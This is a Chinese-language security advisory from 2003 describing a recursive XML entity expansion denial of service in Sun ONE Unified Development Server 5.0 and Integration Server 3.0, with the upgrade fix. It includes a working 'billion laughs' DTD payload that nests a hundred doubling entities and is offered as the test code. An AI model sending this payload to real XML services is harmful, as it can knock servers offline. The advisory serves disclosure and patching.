xfocus logo xfocus title
首页 焦点原创 安全文摘 安全工具 安全漏洞 焦点项目 焦点论坛 关于我们
English Version

Sun ONE统一开发服务器递归文档类型定义漏洞


发布时间:2003-01-15
更新时间:2003-01-15
严重程度:
威胁程度:远程拒绝服务
错误类型:输入验证错误
利用方式:服务器模式

BUGTRAQ ID:6626

受影响系统
Sun ONE Integration Server EAI Edition 3.0
Sun ONE Unified Development Server 5.0
详细描述
Sun ONE Unified Development Server (UDS)在处理递归文档类型定义时粗壮乃问题。

当文档包含这些结构类型上传后,由于XML1.0标准兼容解析器不正确处理,可导致消耗大量系统资源而产生拒绝服务。如DTD中包含递归定义实体"&x100;",下面的代码通过XML 1.0标准兼容解析器处理后会扩展成2^100个"hello"字符串,可消耗大量资源产生拒绝服务:

   <?xml version="1.0" encoding="utf-8"?>
    <!DOCTYPE foobar [
        <!ENTITY x0 "hello">
        <!ENTITY x1 "&x0;&x0;">
        <!ENTITY x2 "&x1;&x1;">
        <!ENTITY x3 "&x2;&x2;">
        <!ENTITY x4 "&x3;&x3;">
         ...
        <!ENTITY x98 "&x97;&x97;">
        <!ENTITY x99 "&x98;&x98;">
        <!ENTITY x100 "&x99;&x99;">
    ]>
    <foobar>&x100;</foobar>

测试代码
见描述

解决方案
升级程序:

Sun ONE Integration Server EAI Edition 3.0:
Sun ONE Unified Development Server 5.0:

Sun Upgrade ONE Unified Development Server 5.0.18
http://www.sun.com

相关信息
参考:http://sunsolve.sun.com/pub-cgi/retrieve.pl?doc=fsalert%2F49922